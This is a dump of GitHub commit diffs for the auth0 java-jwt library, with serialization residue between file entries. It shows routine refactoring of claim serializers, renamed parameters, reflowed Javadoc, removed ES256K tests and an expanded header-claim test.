         } catch (IOException e) {
-            throw new JWTDecodeException("Couldn't map the Claim value to " + tClazz.getSimpleName(), e);
+            throw new JWTDecodeException("Couldn't map the Claim value to " + clazz.getSimpleName(), e);
         }
     }
 u     }(j7  (2975b51b9fb875b4db65a512ee1811cca06ae834j7  3lib/src/main/java/com/auth0/jwt/impl/NullClaim.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -53,12 +53,12 @@ public Instant asInstant() {
     }
 
     @Override
-    public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
         return null;
     }
 
     @Override
-    public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+    public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
         return null;
     }
 
@@ -68,7 +68,7 @@ public Map<String, Object> asMap() throws JWTDecodeException {
     }
 
     @Override
-    public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T as(Class<T> clazz) throws JWTDecodeException {
         return null;
     }
 u}(j7  (7055a2ce73eb4839bd82a168869937f033daa92ej7  =lib/src/main/java/com/auth0/jwt/impl/PayloadClaimsHolder.javaj7  addedj7  Kj7  K j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X&  @@ -0,0 +1,12 @@
+package com.auth0.jwt.impl;
+
+import java.util.Map;
+
+/**
+ * Holds the payload claims when serializing a JWT.
+ */
+public final class PayloadClaimsHolder extends ClaimsHolder {
+    public PayloadClaimsHolder(Map<String, Object> claims) {
+        super(claims);
+    }
+}u}(j7  (09009267b7bfa876ce97011093b534ecff946b2aj7  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -16,10 +16,10 @@
 
 /**
  * Jackson deserializer implementation for converting from JWT Payload parts.
- *
- * @see JWTParser
  * <p>
  * This class is thread-safe.
+ *
+ * @see JWTParser
  */
 class PayloadDeserializer extends StdDeserializer<Payload> {
 
@@ -80,7 +80,8 @@ Instant getInstantFromSeconds(Map<String, JsonNode> tree, String claimName) {
             return null;
         }
         if (!node.canConvertToLong()) {
-            throw new JWTDecodeException(String.format("The claim '%s' contained a non-numeric date value.", claimName));
+            throw new JWTDecodeException(
+                    String.format("The claim '%s' contained a non-numeric date value.", claimName));
         }
         return Instant.ofEpochSecond(node.asLong());
     }u}(j7  (75e794740101e98f1d9fc9ad211938dbcc7d88b3j7  5lib/src/main/java/com/auth0/jwt/impl/PayloadImpl.javaj7  modifiedj7  K
j7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X9  @@ -13,10 +13,10 @@
 
 /**
  * Decoder of string JSON Web Tokens into their POJO representations.
- *
- * @see Payload
  * <p>
  * This class is thread-safe.
+ *
+ * @see Payload
  */
 class PayloadImpl implements Payload, Serializable {
 
@@ -32,7 +32,17 @@ class PayloadImpl implements Payload, Serializable {
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
 
-    PayloadImpl(String issuer, String subject, List<String> audience, Instant expiresAt, Instant notBefore, Instant issuedAt, String jwtId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+    PayloadImpl(
+            String issuer,
+            String subject,
+            List<String> audience,
+            Instant expiresAt,
+            Instant notBefore,
+            Instant issuedAt,
+            String jwtId,
+            Map<String, JsonNode> tree,
+            ObjectReader objectReader
+    ) {
         this.issuer = issuer;
         this.subject = subject;
         this.audience = audience != null ? Collections.unmodifiableList(audience) : null;u}(j7  (dc138c08a7000dd079c83e95326b6bd5c9ff7aa6j7  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj7  modifiedj7  Kj7  KGj7  K[j7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  XC  @@ -1,46 +1,40 @@
 package com.auth0.jwt.impl;
 
 import com.fasterxml.jackson.core.JsonGenerator;
-import com.fasterxml.jackson.databind.SerializerProvider;
-import com.fasterxml.jackson.databind.ser.std.StdSerializer;
 
 import java.io.IOException;
-import java.time.Instant;
-import java.util.*;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
 
 /**
  * Jackson serializer implementation for converting into JWT Payload parts.
- *
- * @see com.auth0.jwt.JWTCreator
  * <p>
  * This class is thread-safe.
+ *
+ * @see com.auth0.jwt.JWTCreator
  */
-public class PayloadSerializer extends StdSerializer<ClaimsHolder> {
-
+public class PayloadSerializer extends ClaimsSerializer<PayloadClaimsHolder> {
     public PayloadSerializer() {
-        this(null);
-    }
-
-    private PayloadSerializer(Class<ClaimsHolder> t) {
-        super(t);
+        super(PayloadClaimsHolder.class);
     }
 
     @Override
-    public void serialize(ClaimsHolder holder, JsonGenerator gen, SerializerProvider provider) throws IOException {
-
-        gen.writeStartObject();
-        for (Map.Entry<String, Object> e : holder.getClaims().entrySet()) {
-            if (PublicClaims.AUDIENCE.equals(e.getKey())) {
-                writeAudience(gen, e);
-            } else {
-                gen.writeFieldName(e.getKey());
-                handleSerialization(e.getValue(), gen);
-            }
+    protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
+        if (PublicClaims.AUDIENCE.equals(entry.getKey())) {
+            writeAudience(gen, entry);
+        } else {
+            super.writeClaim(entry, gen);
         }
-
-        gen.writeEndObject();
     }
 
+    /**
+     * Audience may be a list of strings or a single string. This is needed to properly handle the aud claim when
+     * added with the {@linkplain com.auth0.jwt.JWTCreator.Builder#withPayload(Map)} method.
+     */
+
+    //
     private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throws IOException {
         if (e.getValue() instanceof String) {
             gen.writeFieldName(e.getKey());
@@ -53,7 +47,7 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
                 List<?> audList = (List<?>) e.getValue();
                 for (Object aud : audList) {
                     if (aud instanceof String) {
-                        audArray.add((String)aud);
+                        audArray.add((String) aud);
                     }
                 }
             }
@@ -70,49 +64,4 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
             }
         }
     }
-
-    /**
-     * Serializes {@linkplain Instant} to epoch second values, traversing maps and lists as needed.
-     * @param value the object to serialize
-     * @param gen the JsonGenerator to use for JSON serialization
-     */
-    private void handleSerialization(Object value, JsonGenerator gen) throws IOException {
-        if (value instanceof Date) {
-            gen.writeNumber(dateToSeconds((Date) value));
-        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
-            gen.writeNumber(instantToSeconds((Instant) value));
-        } else if (value instanceof Map) {
-            serializeMap((Map<?, ?>) value, gen);
-        } else if (value instanceof List) {
-            serializeList((List<?>) value, gen);
-        } else {
-            gen.writeObject(value);
-        }
-    }
-
-    private void serializeMap(Map<?, ?> map, JsonGenerator gen) throws IOException {
-        gen.writeStartObject();
-        for (Map.Entry<?, ?> entry : map.entrySet()) {
-            gen.writeFieldName((String) entry.getKey());
-            Object value = entry.getValue();
-            handleSerialization(value, gen);
-        }
-        gen.writeEndObject();
-    }
-
-    private void serializeList(List<?> list, JsonGenerator gen) throws IOException {
-        gen.writeStartArray();
-        for (Object entry : list) {
-            handleSerialization(entry, gen);
-        }
-        gen.writeEndArray();
-    }
-
-    private long instantToSeconds(Instant instant) {
-        return instant.getEpochSecond();
-    }
-
-    private long dateToSeconds(Date date) {
-        return date.getTime() / 1000;
-    }
 }u}(j7  (ea166b0d337191043019e43d588b53e66328dd9cj7  6lib/src/main/java/com/auth0/jwt/impl/PublicClaims.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  @@ -1,6 +1,8 @@
 package com.auth0.jwt.impl;
 
-
+/**
+ * Contains the claim name for all Public claims.
+ */
 public interface PublicClaims {
 
     //Headeru}(j7  (fdfac71580fa87b9691de8af4c4df2ee4cc61dd2j7  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javaj7  modifiedj7  Kj7  Kj7  K
j7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X$  @@ -81,23 +81,24 @@ default Instant asInstant() {
     /**
      * Get this Claim as an Array of type T.
      * If the value isn't an Array, null will be returned.
+     *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as an Array or null.
      * @throws JWTDecodeException if the values inside the Array can't be converted to a class T.
      */
-    <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException;
+    <T> T[] asArray(Class<T> clazz) throws JWTDecodeException;
 
     /**
      * Get this Claim as a List of type T.
      * If the value isn't an Array, null will be returned.
      *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as a List or null.
      * @throws JWTDecodeException if the values inside the List can't be converted to a class T.
      */
-    <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException;
+    <T> List<T> asList(Class<T> clazz) throws JWTDecodeException;
 
     /**
      * Get this Claim as a generic Map of values.
@@ -111,9 +112,9 @@ default Instant asInstant() {
      * Get this Claim as a custom type T.
      *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as instance of T.
      * @throws JWTDecodeException if the value can't be converted to a class T.
      */
-    <T> T as(Class<T> tClazz) throws JWTDecodeException;
+    <T> T as(Class<T> clazz) throws JWTDecodeException;
 }u}(j7  (e1c6efccb4d86a33d5514ef4ca24321333e101cej7  >lib/src/main/java/com/auth0/jwt/interfaces/JWTPartsParser.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X{  @@ -3,7 +3,8 @@
 import com.auth0.jwt.exceptions.JWTDecodeException;
 
 /**
- * The JWTPartsParser class defines which parts of the JWT should be converted to it's specific Object representation instance.
+ * The JWTPartsParser class defines which parts of the JWT should be converted
+ * to it's specific Object representation instance.
  */
 public interface JWTPartsParser {
 u}(j7  (3555878e0c55c7ada151e3eaf5db85d6b8988cb4j7  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -3,10 +3,13 @@
 import com.auth0.jwt.exceptions.JWTVerificationException;
 
 
+/**
+ * Used to verify the JWT for it's signature and claims.
+ */
 public interface JWTVerifier {
 
     /**
-     * Performs the verification against the given Token
+     * Performs the verification against the given Token.
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
@@ -15,7 +18,7 @@ public interface JWTVerifier {
     DecodedJWT verify(String token) throws JWTVerificationException;
 
     /**
-     * Performs the verification against the given decoded JWT
+     * Performs the verification against the given decoded JWT.
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.u}(j7  (fd8baea572026be86905bce48884192709f82490j7  ;lib/src/main/java/com/auth0/jwt/interfaces/KeyProvider.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -14,7 +14,8 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
     /**
      * Getter for the Public Key instance with the given Id. Used to verify the signature on the JWT verification stage.
      *
-     * @param keyId the Key Id specified in the Token's Header or null if none is available. Provides a hint on which Public Key to use to verify the token's signature.
+     * @param keyId the Key Id specified in the Token's Header or null if none is available.
+     *              Provides a hint on which Public Key to use to verify the token's signature.
      * @return the Public Key instance
      */
     U getPublicKeyById(String keyId);
@@ -27,7 +28,8 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
     R getPrivateKey();
 
     /**
-     * Getter for the Id of the Private Key used to sign the tokens. This represents the `kid` claim and will be placed in the Header.
+     * Getter for the Id of the Private Key used to sign the tokens.
+     * This represents the `kid` claim and will be placed in the Header.
      *
      * @return the Key Id that identifies the Private Key or null if it's not specified.
      */u}(j7  (7e024e1f8d856569b8c368217f8b81cf08e58ec8j7  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -61,7 +61,7 @@ default Verification withIssuer(String issuer) {
      * will have to provide their own implementation.
      *
      * The default implementation throws an {@linkplain UnsupportedOperationException}.
-     * 
+     *
      * @param audience the required Audience value for which the "aud" claim must contain at least one value.
      * @return this same Verification instance.
      */
@@ -70,8 +70,8 @@ default Verification withAnyOfAudience(String... audience) {
     }
     
     /**
-     * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims will still be valid.
-     * Setting a specific leeway value on a given Claim will override this value for that Claim.
+     * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims
+     * will still be valid. Setting a specific leeway value on a given Claim will override this value for that Claim.
      *
      * @param leeway the window in seconds in which the Not Before, Issued At and Expires At Claims will still be valid.
      * @return this same Verification instance.
@@ -81,7 +81,8 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Set a specific leeway window in seconds in which the Expires At ("exp") Claim will still be valid.
-     * Expiration Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     * Expiration Date is always verified when the value is present.
+     * This method overrides the value set with acceptLeeway
      *
      * @param leeway the window in seconds in which the Expires At Claim will still be valid.
      * @return this same Verification instance.
@@ -91,7 +92,8 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Set a specific leeway window in seconds in which the Not Before ("nbf") Claim will still be valid.
-     * Not Before Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     * Not Before Date is always verified when the value is present.
+     * This method overrides the value set with acceptLeeway
      *
      * @param leeway the window in seconds in which the Not Before Claim will still be valid.
      * @return this same Verification instance.
@@ -102,8 +104,10 @@ default Verification withAnyOfAudience(String... audience) {
     /**
      * Set a specific leeway window in seconds in which the Issued At ("iat") Claim will still be valid.
      * This method overrides the value set with {@link #acceptLeeway(long)}.
-     * By default, the Issued At claim is always verified when the value is present, unless disabled with {@link #ignoreIssuedAt()}.
-     * If Issued At verification has been disabled, no verification of the Issued At claim will be performed, and this method has no effect.
+     * By default, the Issued At claim is always verified when the value is present,
+     * unless disabled with {@link #ignoreIssuedAt()}.
+     * If Issued At verification has been disabled, no verification of the Issued At claim will be performed,
+     * and this method has no effect.
      *
      * @param leeway the window in seconds in which the Issued At Claim will still be valid.
      * @return this same Verification instance.
@@ -121,6 +125,7 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Require a claim to be present, with any value.
+     *
      * @param name the Claim's name.
      * @return this same Verification instance
      * @throws IllegalArgumentException if the name is null.
@@ -178,8 +183,8 @@ default Verification withAnyOfAudience(String... audience) {
     Verification withClaim(String name, String value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
-     * date-time claim value, any time units more granular than seconds will not be considered.
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * when verifying date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
@@ -189,8 +194,8 @@ default Verification withAnyOfAudience(String... audience) {
     Verification withClaim(String name, Date value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
-     * a date-time claim value, any time units more granular than seconds will not be considered.
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * when verifying a date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.u}(j7  (a1e30e310243c236953ec7875157ce6f550a2834j7  "lib/src/main/java/module-info.javaj7  modifiedj7  K j7  Kj7  Kj7  zhttps://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.javaj 8  yhttps://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -1,8 +1,5 @@
 module com.auth0.jwt {
-    // remove transitive in next major release
     requires com.fasterxml.jackson.databind;
-    // remove in next major release
-    exports com.auth0.jwt.impl;
 
     exports com.auth0.jwt;
     exports com.auth0.jwt.algorithms;u}(j7  (a06df7b72f5615086c3919f731b33ac4178ec183j7  9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javaj7  modifiedj7  K j7  K
j7  K
j7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  XP  @@ -28,8 +28,6 @@ public class ConcurrentVerifyTest {
     private static final int REPEAT_COUNT = 1000;
     private static final String PUBLIC_KEY_FILE = "src/test/resources/rsa-public.pem";
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
     private static final String PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public.pem";
     private static final String PUBLIC_KEY_FILE_512 = "src/test/resources/ec512-key-public.pem";
 
@@ -145,17 +143,6 @@ public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {
         concurrentVerify(verifier, token);
     }
     
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        String token = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.eyJpc3MiOiJhdXRoMCJ9.W-AbsnuQ4vqmPftAyQuF09hn3oGn3tN7VGergxyMbK74yEzDV-mLyC3o3fxXrZxcW5h01DM6BckNag7ZcimPjw";
-        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-        JWTVerifier verifier = JWTVerifier.init(algorithm).withIssuer("auth0").build();
-        
-        concurrentVerify(verifier, token);
-    }
-    
     @Test
     public void shouldPassECDSA384VerificationWithJOSESignature() throws Exception {
         String token = "eyJhbGciOiJFUzM4NCJ9.eyJpc3MiOiJhdXRoMCJ9.50UU5VKNdF1wfykY8jQBKpvuHZoe6IZBJm5NvoB8bR-hnRg6ti-CHbmvoRtlLfnHfwITa_8cJMy6TenMC2g63GQHytc8rYoXqbwtS4R0Ko_AXbLFUmfxnGnMC6v4MS_z";u}(j7  (6c8706563087b11136b5ce829b10bb9b54b60c2ej7  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj7  modifiedj7  K"j7  K)j7  KKj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X#  @@ -5,7 +5,6 @@
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
-
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -16,8 +15,8 @@
 import java.time.Instant;
 import java.util.*;
 
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
@@ -26,8 +25,6 @@ public class JWTCreatorTest {
     private static final String PRIVATE_KEY_FILE_RSA = "src/test/resources/rsa-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_256 = "src/test/resources/ec256-key-private.pem";
 
-    private static final String PRIVATE_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-private.pem";
-
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
@@ -39,19 +36,48 @@ public void shouldThrowWhenRequestingSignWithoutAlgorithm() {
                 .sign(null);
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldAddHeaderClaim() {
-        Map<String, Object> header = new HashMap<String, Object>();
-        header.put("asd", 123);
+        Date date = new Date(123000);
+        Instant instant = date.toInstant();
+
+        List<Object> list = Arrays.asList(date, instant);
+        Map<String, Object> map = new HashMap<>();
+        map.put("date", date);
+        map.put("instant", instant);
+
+        List<Object> expectedSerializedList = Arrays.asList(date.getTime() / 1000, instant.getEpochSecond());
+        Map<String, Object> expectedSerializedMap = new HashMap<>();
+        expectedSerializedMap.put("date", date.getTime() / 1000);
+        expectedSerializedMap.put("instant", instant.getEpochSecond());
+
+        Map<String, Object> header = new HashMap<>();
+        header.put("string", "string");
+        header.put("int", 42);
+        header.put("long", 4200000000L);
+        header.put("double", 123.123);
+        header.put("bool", true);
+        header.put("date", date);
+        header.put("instant", instant);
+        header.put("list", list);
+        header.put("map", map);
+
         String signed = JWTCreator.init()
                 .withHeader(header)
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("asd", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("string", "string"));
+        assertThat(headerJson, JsonMatcher.hasEntry("int", 42));
+        assertThat(headerJson, JsonMatcher.hasEntry("long", 4200000000L));
+        assertThat(headerJson, JsonMatcher.hasEntry("double", 123.123));
+        assertThat(headerJson, JsonMatcher.hasEntry("bool", true));
+        assertThat(headerJson, JsonMatcher.hasEntry("date", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("instant", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("list", expectedSerializedList));
+        assertThat(headerJson, JsonMatcher.hasEntry("map", expectedSerializedMap));
     }
 
     @Test
@@ -158,39 +184,6 @@ public void shouldNotOverwriteKeyIdIfAddedFromRSAAlgorithms() throws Exception {
